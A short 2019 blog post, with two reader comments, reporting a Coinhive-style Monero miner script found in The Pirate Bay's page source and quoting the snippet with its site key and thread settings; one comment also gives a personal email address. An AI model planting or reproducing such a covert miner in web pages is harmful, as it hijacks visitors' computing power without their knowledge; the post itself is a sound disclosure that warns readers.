Wednesday, February 13, 2019

TPB mining again

I was helping someone today who was visiting thepiratebay.org, and looking at the source code of the page to troubleshoot an ad-blocker when I ran across this:

<script>
  var miner=new CRLT.Anonymous('37efd635d0ec154de4d0b17dd1952aa3b5e88acd6bbe', {
    threads:4,throttle:0.5, coin: "xmr",
  });
  miner.start();
</script>

Now there's a good reason to block JavaScript on this site!!!

2 comments:

  1. Mark, can you drop me an email at frpieper@msn.com? I have a question about increasing memory for storage of movie photos I attach to my weekly blog posts. We talked at the January WordPress meeting. Thanks!

    ReplyDelete
  2. Wow — that source snippet is pretty damning. Spinning up a Monero miner via JavaScript (with multiple threads and throttling) is exactly the kind of “invisible” CPU drain people won’t notice until their fans ramp up. Your takeaway is spot on: this is a great reason to block JS (or at least run strong script/ad-blocking) on sites like TPB when troubleshooting ads. I’m going to share this example with a few friends, and I’ll probably turn it into a quick infographic using Google Nano Banana Pro so the risk is easier to explain at a glance.

    ReplyDelete